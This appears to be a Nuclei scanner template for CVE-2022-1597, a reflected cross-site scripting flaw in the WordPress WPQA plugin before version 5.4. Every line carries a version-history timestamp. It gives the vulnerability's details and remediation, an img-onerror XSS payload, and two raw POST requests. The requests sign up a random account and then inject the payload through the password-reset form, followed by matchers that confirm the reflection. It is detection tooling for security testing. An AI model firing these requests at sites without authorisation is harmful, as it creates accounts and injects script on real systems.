2022-05-19 18:25:59 +00:00
id : CVE-2022-1597
2022-05-17 08:26:45 +00:00
info :
2022-09-16 19:50:10 +00:00
name : WordPress WPQA <5.4 - Cross-Site Scripting
2022-05-17 08:26:45 +00:00
author : veshraj
2022-09-16 20:03:07 +00:00
severity : medium
2022-05-17 08:26:45 +00:00
description : |
2022-09-16 19:50:10 +00:00
WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability.
2022-05-17 08:26:45 +00:00
reference :
- https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1597
2024-01-29 17:11:14 +00:00
- https://github.com/trhacknon/Pocingit
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-05-18 20:58:07 +00:00
classification :
2022-09-16 20:03:07 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-1597
2022-09-16 20:03:07 +00:00
cwe-id : CWE-79
2024-01-14 13:49:27 +00:00
epss-score : 0.00188
2024-05-31 19:23:20 +00:00
epss-percentile : 0.56053
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:*
2022-05-17 12:14:27 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : 2code
product : wpqa_builder
2023-09-06 11:59:08 +00:00
framework : wordpress
google-query : inurl:/wp-content/plugins/wpqa
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,wpqa,2code
2022-05-17 08:26:45 +00:00
variables :
user : "{{to_lower(rand_base(5))}}"
pass : "{{user}}{{to_lower(rand_base(3))}}"
2022-05-17 12:14:27 +00:00
redirect_to : '"><img src=x onerror=alert(document.domain)>'
2022-05-17 08:26:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-17 08:26:45 +00:00
- raw :
2022-05-17 08:31:13 +00:00
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Content-Type : application/x-www-form-urlencoded
2022-05-17 08:26:45 +00:00
2022-05-17 12:14:27 +00:00
user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process
2022-05-17 08:31:13 +00:00
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Content-Type : application/x-www-form-urlencoded
2022-05-17 08:26:45 +00:00
2022-05-17 08:31:13 +00:00
user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}
2022-05-17 08:26:45 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-05-17 12:14:27 +00:00
- '{{redirect_to}}'
- '"success":1'
condition : and
2022-05-17 08:26:45 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
2022-05-17 12:14:27 +00:00
- 200
2024-06-01 06:53:00 +00:00
# digest: 490a0046304402202b14fb025589a0da7b7ca42668477b6ed0f3fde4644916b2e13a9afb2ca9fa9b0220083f1475a9b49f66f6373480b6ede39f3501beb8cc84c3d1dfe04aad6fea3a2c:922c64590222798bb761d5b6d8e72950